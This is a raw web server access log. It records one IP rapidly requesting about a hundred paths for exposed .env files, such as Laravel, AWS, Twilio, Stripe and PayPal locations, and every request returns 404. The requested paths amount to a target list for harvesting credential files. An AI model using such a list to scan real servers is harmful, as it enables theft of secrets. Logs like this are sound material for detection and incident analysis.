213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /test/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /.env.example.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /app_dev.php/_profiler/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /var/.env.local.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /.env.local HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /imadguennouni/all/spotbills/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /.env.admin HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /lunar/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /afasio/afasio/backend_Julia/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /lobby/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /lib64/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /kevin/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /james/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /administrateur/.env.staging HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /ibfv1/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /home/ec2-user/.cache/bin/aws/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /.env.sqlite HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /.plesk/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /social/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /rename/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /twilio/.config/bin/aws/tools/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /.env-secure HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:58 -0400] "GET /login/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /socios/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /.env-health HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /twilio/.cache/bin/aws/config/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /libweb/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /.env-hidden HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /twilio/.local/bin/aws/config/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /api:80/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /4walls/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /albraj/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /home/ec2-user/bin/aws/config/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /runner/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:59 -0400] "GET /school/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /Selfit/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /twilio/.conda/bin/aws/config/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /mbdlms/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /modules/pscartabandonmentpro/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /mobile/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /module/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /sender/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /cloud/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /home/ec2-user/.local/bin/aws/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /addons/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /newapi/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /session.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:00 -0400] "GET /p/laravelcrud/svn/2/tree/app/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /home/ec2-user/.conda/bin/aws/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /newsop/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /.env/config HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /nimble/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /twilio/.config/bin/aws/config/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /wp-content/wp-plugins/rollbar/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /siswas/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /laravel/core/.env.production.local HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /twilio/.conda/bin/aws/scripts/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /sistema/sistema/dompdf-master/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /twilio/.cache/bin/aws/scripts/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /notweb/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:01 -0400] "GET /.env-logger HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /Code/snippets/html2pdf-master/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /laravel-sites/dev_grupo_total/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /home/ec2-user/.config/bin/aws/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /1board/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /.env-openid HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /orders/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /payment.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /paypal/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /.env-params HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /.env-branch HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /wp-content/wp-plugins/badgeup/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /.env.migjen HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:02 -0400] "GET /.env-pipenv HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /.env-svelte HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /home/ec2-user/env/bin/aws/src/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /afasio/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /home/ec2-user/env/bin/aws/lib/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /.env-python HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /home/ec2-user/env/bin/aws/bin/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /home/ec2-user/bin/aws/scripts/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /api:80/enviroments/.env.production HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /empresasbrasil/production/api/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /_inc/vendor/stripe/stripe-php/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /.env-devops HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /plugin/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:03 -0400] "GET /.env-django HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /private.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /.env.heroku HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /twilio/.local/bin/aws/scripts/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /.env-export HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /python/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /.env-filter HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /home/ec2-user/.ssh/bin/aws/lib/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:57:04 -0400] "GET /.apache.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
